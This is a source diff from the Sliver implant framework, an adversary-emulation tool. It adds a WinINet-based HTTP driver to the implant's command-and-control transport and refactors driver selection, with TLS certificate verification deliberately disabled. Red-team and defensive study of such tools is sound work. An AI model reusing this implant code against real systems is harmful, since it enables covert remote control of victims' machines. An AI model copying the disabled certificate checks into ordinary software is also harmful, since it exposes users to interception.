return fmt.Errorf("failed to add request headers: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Send HTTP request
|
||||
err = HTTPSendRequestW(
|
||||
reqHndl,
|
||||
"",
|
||||
0,
|
||||
r.Body,
|
||||
len(r.Body),
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to send request: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
package wininet
|
||||
|
||||
//go:generate go run ../tools/defines.go wininet /usr/x86_64-w64-mingw32/include/wininet.h
|
||||
@@ -0,0 +1,415 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var wininet *windows.LazyDLL = windows.NewLazySystemDLL("Wininet")
|
||||
|
||||
// HTTPAddRequestHeadersW is from wininet.h
|
||||
func HTTPAddRequestHeadersW(
|
||||
reqHndl uintptr,
|
||||
header string,
|
||||
addMethod uintptr,
|
||||
) error {
|
||||
var err error
|
||||
var ok uintptr
|
||||
var proc string = "HttpAddRequestHeadersW"
|
||||
var pswzHeader uintptr
|
||||
var tmp *uint16
|
||||
|
||||
if header == "" {
|
||||
// Weird, just do nothing
|
||||
return nil
|
||||
}
|
||||
header = strings.TrimSpace(header) + "\r\n"
|
||||
|
||||
// Convert to Windows types
|
||||
if tmp, err = windows.UTF16PtrFromString(header); err != nil {
|
||||
return convertFail(header, err)
|
||||
}
|
||||
|
||||
pswzHeader = uintptr(unsafe.Pointer(tmp))
|
||||
|
||||
ok, _, err = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
pswzHeader,
|
||||
uintptr(len(header)),
|
||||
addMethod,
|
||||
)
|
||||
if ok == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// HTTPOpenRequestW is from wininet.h
|
||||
func HTTPOpenRequestW(
|
||||
connHndl uintptr,
|
||||
verb string,
|
||||
objectName string,
|
||||
version string,
|
||||
referrer string,
|
||||
acceptTypes []string,
|
||||
flags uintptr,
|
||||
context uintptr,
|
||||
) (uintptr, error) {
|
||||
var err error
|
||||
var lpcwstrObjectName uintptr
|
||||
var lpcwstrReferrer uintptr
|
||||
var lpcwstrVerb uintptr
|
||||
var lpcwstrVersion uintptr
|
||||
var lplpcwstrAcceptTypes []*uint16
|
||||
var proc string = "HttpOpenRequestW"
|
||||
var reqHndl uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
lplpcwstrAcceptTypes = make([]*uint16, 1)
|
||||
for _, theType := range acceptTypes {
|
||||
if theType == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
tmp, err = windows.UTF16PtrFromString(theType)
|
||||
if err != nil {
|
||||
return 0, convertFail(theType, err)
|
||||
}
|
||||
|
||||
lplpcwstrAcceptTypes = append(lplpcwstrAcceptTypes, tmp)
|
||||
}
|
||||
|
||||
if objectName != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(objectName); err != nil {
|
||||
return 0, convertFail(objectName, err)
|
||||
}
|
||||
|
||||
lpcwstrObjectName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if referrer != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(referrer); err != nil {
|
||||
return 0, convertFail(referrer, err)
|
||||
}
|
||||
|
||||
lpcwstrReferrer = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if verb != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(verb); err != nil {
|
||||
return 0, convertFail(verb, err)
|
||||
}
|
||||
|
||||
lpcwstrVerb = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if version != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(version); err != nil {
|
||||
return 0, convertFail(version, err)
|
||||
}
|
||||
|
||||
lpcwstrVersion = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
reqHndl, _, err = wininet.NewProc(proc).Call(
|
||||
connHndl,
|
||||
lpcwstrVerb,
|
||||
lpcwstrObjectName,
|
||||
lpcwstrVersion,
|
||||
lpcwstrReferrer,
|
||||
uintptr(unsafe.Pointer(&lplpcwstrAcceptTypes[0])),
|
||||
flags,
|
||||
context,
|
||||
)
|
||||
if reqHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return reqHndl, nil
|
||||
}
|
||||
|
||||
// HTTPQueryInfoW is from wininet.h
|
||||
func HTTPQueryInfoW(
|
||||
reqHndl uintptr,
|
||||
info uintptr,
|
||||
buffer *[]byte,
|
||||
bufferLen *int,
|
||||
index *int,
|
||||
) error {
|
||||
var b []uint16
|
||||
var err error
|
||||
var proc string = "HttpQueryInfoW"
|
||||
var success uintptr
|
||||
var tmp string
|
||||
|
||||
if *bufferLen > 0 {
|
||||
b = make([]uint16, *bufferLen)
|
||||
} else {
|
||||
b = make([]uint16, 1)
|
||||
}
|
||||
|
||||
success, _, err = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
info,
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(unsafe.Pointer(bufferLen)),
|
||||
uintptr(unsafe.Pointer(index)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
tmp = windows.UTF16ToString(b)
|
||||
*buffer = []byte(tmp)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// HTTPSendRequestW is from wininet.h
|
||||
func HTTPSendRequestW(
|
||||
reqHndl uintptr,
|
||||
headers string,
|
||||
headersLen int,
|
||||
data []byte,
|
||||
dataLen int,
|
||||
) error {
|
||||
var body uintptr
|
||||
var err error
|
||||
var lpcwstrHeaders uintptr
|
||||
var proc string = "HttpSendRequestW"
|
||||
var success uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Pointer to data if provided
|
||||
if (data != nil) && (len(data) > 0) {
|
||||
body = uintptr(unsafe.Pointer(&data[0]))
|
||||
}
|
||||
|
||||
// Convert to Windows types
|
||||
if headersLen > 0 {
|
||||
if tmp, err = windows.UTF16PtrFromString(headers); err != nil {
|
||||
return convertFail(headers, err)
|
||||
}
|
||||
|
||||
lpcwstrHeaders = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
success, _, err = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
lpcwstrHeaders,
|
||||
uintptr(headersLen),
|
||||
body,
|
||||
uintptr(dataLen),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetConnectW is from wininet.h
|
||||
func InternetConnectW(
|
||||
sessionHndl uintptr,
|
||||
serverName string,
|
||||
serverPort int,
|
||||
username string,
|
||||
password string,
|
||||
service uintptr,
|
||||
flags uintptr,
|
||||
context uintptr,
|
||||
) (uintptr, error) {
|
||||
var connHndl uintptr
|
||||
var err error
|
||||
var lpcwstrServerName uintptr
|
||||
var lpcwstrUserName uintptr
|
||||
var lpcwstrPassword uintptr
|
||||
var proc string = "InternetConnectW"
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if password != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(password); err != nil {
|
||||
return 0, convertFail(password, err)
|
||||
}
|
||||
|
||||
lpcwstrPassword = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if serverName != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(serverName); err != nil {
|
||||
return 0, convertFail(serverName, err)
|
||||
}
|
||||
|
||||
lpcwstrServerName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if username != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(username); err != nil {
|
||||
return 0, convertFail(username, err)
|
||||
}
|
||||
|
||||
lpcwstrUserName = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
connHndl, _, err = wininet.NewProc(proc).Call(
|
||||
sessionHndl,
|
||||
lpcwstrServerName,
|
||||
uintptr(serverPort),
|
||||
lpcwstrUserName,
|
||||
lpcwstrPassword,
|
||||
service,
|
||||
flags,
|
||||
context,
|
||||
)
|
||||
if connHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return connHndl, nil
|
||||
}
|
||||
|
||||
// InternetOpenW is from wininet.h
|
||||
func InternetOpenW(
|
||||
userAgent string,
|
||||
accessType uintptr,
|
||||
proxy string,
|
||||
proxyBypass string,
|
||||
flags uintptr,
|
||||
) (uintptr, error) {
|
||||
var err error
|
||||
var lpszAgent uintptr
|
||||
var lpszProxy uintptr
|
||||
var lpszProxyBypass uintptr
|
||||
var proc string = "InternetOpenW"
|
||||
var sessionHndl uintptr
|
||||
var tmp *uint16
|
||||
|
||||
// Convert to Windows types
|
||||
if userAgent != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(userAgent); err != nil {
|
||||
return 0, convertFail(userAgent, err)
|
||||
}
|
||||
|
||||
lpszAgent = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if proxy != "" {
|
||||
if tmp, err = windows.UTF16PtrFromString(proxy); err != nil {
|
||||
return 0, convertFail(proxy, err)
|
||||
}
|
||||
|
||||
lpszProxy = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
if proxyBypass != "" {
|
||||
tmp, err = windows.UTF16PtrFromString(proxyBypass)
|
||||
if err != nil {
|
||||
return 0, convertFail(proxyBypass, err)
|
||||
}
|
||||
|
||||
lpszProxyBypass = uintptr(unsafe.Pointer(tmp))
|
||||
}
|
||||
|
||||
sessionHndl, _, err = wininet.NewProc(proc).Call(
|
||||
lpszAgent,
|
||||
accessType,
|
||||
lpszProxy,
|
||||
lpszProxyBypass,
|
||||
flags,
|
||||
)
|
||||
if sessionHndl == 0 {
|
||||
return 0, fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return sessionHndl, nil
|
||||
}
|
||||
|
||||
// InternetQueryDataAvailable is from wininet.h
|
||||
func InternetQueryDataAvailable(
|
||||
reqHndl uintptr,
|
||||
bytesAvailable *int64,
|
||||
) error {
|
||||
var err error
|
||||
var proc string = "InternetQueryDataAvailable"
|
||||
var success uintptr
|
||||
|
||||
success, _, err = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
uintptr(unsafe.Pointer(bytesAvailable)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetReadFile is from wininet.h
|
||||
func InternetReadFile(
|
||||
reqHndl uintptr,
|
||||
buffer *[]byte,
|
||||
bytesToRead int64,
|
||||
bytesRead *int64,
|
||||
) error {
|
||||
var b []byte
|
||||
var err error
|
||||
var proc string = "InternetReadFile"
|
||||
var success uintptr
|
||||
|
||||
if bytesToRead > 0 {
|
||||
b = make([]byte, bytesToRead)
|
||||
} else {
|
||||
b = make([]byte, 1)
|
||||
}
|
||||
|
||||
success, _, err = wininet.NewProc(proc).Call(
|
||||
reqHndl,
|
||||
uintptr(unsafe.Pointer(&b[0])),
|
||||
uintptr(bytesToRead),
|
||||
uintptr(unsafe.Pointer(bytesRead)),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
*buffer = b
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// InternetSetOptionW is from wininet.h
|
||||
func InternetSetOptionW(
|
||||
hndl uintptr,
|
||||
opt uintptr,
|
||||
val []byte,
|
||||
valLen int,
|
||||
) error {
|
||||
var err error
|
||||
var proc string = "InternetSetOptionW"
|
||||
var success uintptr
|
||||
|
||||
// Pointer to data if provided
|
||||
if valLen == 0 {
|
||||
val = make([]byte, 1)
|
||||
}
|
||||
|
||||
success, _, err = wininet.NewProc(proc).Call(
|
||||
hndl,
|
||||
opt,
|
||||
uintptr(unsafe.Pointer(&val[0])),
|
||||
uintptr(valLen),
|
||||
)
|
||||
if success == 0 {
|
||||
return fmt.Errorf("%s: %w", proc, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
//go:build !windows
|
||||
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
|
||||
case goHTTPDriver:
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/drivers/win/wininet"
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
|
||||
case goHTTPDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using go http driver")
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
case wininetDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using wininet driver")
|
||||
// {{end}}
|
||||
return WininetDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
}
|
||||
}
|
||||
|
||||
// WininetDriver - Initialize a Wininet driver (Windows only)
|
||||
func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
wininetClient, err := wininet.NewClient(userAgent)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
wininetClient.TLSClientConfig.InsecureSkipVerify = true
|
||||
return wininetClient, nil
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
)
|
||||
|
||||
// GoHTTPDriver - Pure Go HTTP driver
|
||||
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
var transport *http.Transport
|
||||
if !secure {
|
||||
transport = &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
} else {
|
||||
transport = &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: opts.NetTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
}
|
||||
client := &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: opts.NetTimeout,
|
||||
Transport: transport,
|
||||
}
|
||||
parseProxyConfig(origin, transport, opts.ProxyConfig)
|
||||
return client, nil
|
||||
}
|
||||
|
||||
func parseProxyConfig(origin string, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
}
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*http.Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*http.Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
jar.cookies = make([]*http.Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
@@ -23,13 +23,11 @@ package httpclient
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
@@ -44,12 +42,14 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
goHTTPDriver = "go"
|
||||
wininetDriver = "wininet"
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
@@ -62,6 +62,7 @@ var (
|
||||
|
||||
// HTTPOptions - c2 specific configuration options
|
||||
type HTTPOptions struct {
|
||||
Driver string
|
||||
NetTimeout time.Duration
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
@@ -93,7 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
if err != nil || maxErrors < 0 {
|
||||
maxErrors = 10
|
||||
}
|
||||
driverName := strings.TrimSpace(strings.ToLower(c2URI.Query().Get("driver")))
|
||||
if driverName == "" {
|
||||
driverName = goHTTPDriver
|
||||
}
|
||||
|
||||
return &HTTPOptions{
|
||||
Driver: driverName,
|
||||
NetTimeout: netTimeout,
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
@@ -113,7 +120,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
var client *SliverHTTPClient
|
||||
var err error
|
||||
if !opts.ForceHTTP {
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client = httpsClient(address, opts)
|
||||
client.Options = opts
|
||||
client.PathPrefix = pathPrefix
|
||||
err = client.SessionInit()
|
||||
@@ -126,7 +133,8 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
|
||||
|
||||
client = httpClient(address, opts) // Fallback to insecure HTTP
|
||||
client.Options = opts
|
||||
client.PathPrefix = pathPrefix
|
||||
err = client.SessionInit()
|
||||
@@ -137,17 +145,23 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// HTTPDriver - The interface to send/recv HTTP data
|
||||
type HTTPDriver interface {
|
||||
Do(*http.Request) (*http.Response, error)
|
||||
}
|
||||
|
||||
// SliverHTTPClient - Helper struct to keep everything together
|
||||
type SliverHTTPClient struct {
|
||||
Origin string
|
||||
PathPrefix string
|
||||
Client *http.Client
|
||||
ProxyURL string
|
||||
SessionCtx *cryptography.CipherContext
|
||||
SessionID string
|
||||
pollCancel context.CancelFunc
|
||||
pollMutex *sync.Mutex
|
||||
Closed bool
|
||||
Origin string
|
||||
PathPrefix string
|
||||
driver HTTPDriver
|
||||
ProxyURL string
|
||||
SessionCtx *cryptography.CipherContext
|
||||
SessionID string
|
||||
pollTimeout time.Duration
|
||||
pollCancel context.CancelFunc
|
||||
pollMutex *sync.Mutex
|
||||
Closed bool
|
||||
|
||||
Options *HTTPOptions
|
||||
}
|
||||
@@ -279,7 +293,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
|
||||
var data []byte
|
||||
var err error
|
||||
go func() {
|
||||
resp, err = s.Client.Do(req.WithContext(ctx))
|
||||
resp, err = s.driver.Do(req.WithContext(ctx))
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
done <- ctx.Err()
|
||||
@@ -320,7 +334,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
log.Printf("[http] POST -> %s (%d bytes)", uri, len(sessionInit))
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.Client.Do(req)
|
||||
resp, err := s.driver.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] http response error: %s", err)
|
||||
@@ -455,7 +469,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.Client.Do(req)
|
||||
resp, err := s.driver.Do(req)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST request completed")
|
||||
// {{end}}
|
||||
@@ -499,7 +513,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
resp, err := s.Client.Do(req)
|
||||
resp, err := s.driver.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET failed %v", err)
|
||||
@@ -609,123 +623,42 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: tlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
origin := fmt.Sprintf("http://%s", address)
|
||||
driver, err := GetHTTPDriver(origin, false, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] failed to initialize driver: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
client := &SliverHTTPClient{
|
||||
Origin: fmt.Sprintf("http://%s", address),
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: netTimeout,
|
||||
Transport: transport,
|
||||
},
|
||||
Origin: origin,
|
||||
driver: driver,
|
||||
pollMutex: &sync.Mutex{},
|
||||
Closed: false,
|
||||
Options: opts,
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: netTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: tlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
origin := fmt.Sprintf("https://%s", address)
|
||||
driver, err := GetHTTPDriver(origin, true, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] failed to initialize driver: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
client := &SliverHTTPClient{
|
||||
Origin: fmt.Sprintf("https://%s", address),
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: netTimeout,
|
||||
Transport: transport,
|
||||
},
|
||||
Origin: origin,
|
||||
driver: driver,
|
||||
pollMutex: &sync.Mutex{},
|
||||
Closed: false,
|
||||
Options: opts,
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
